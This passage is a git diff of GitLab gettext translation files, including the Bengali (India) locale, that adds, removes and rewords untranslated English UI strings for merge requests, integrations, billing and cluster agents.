msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 2d7d353a038..8eae0d9c6f2 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
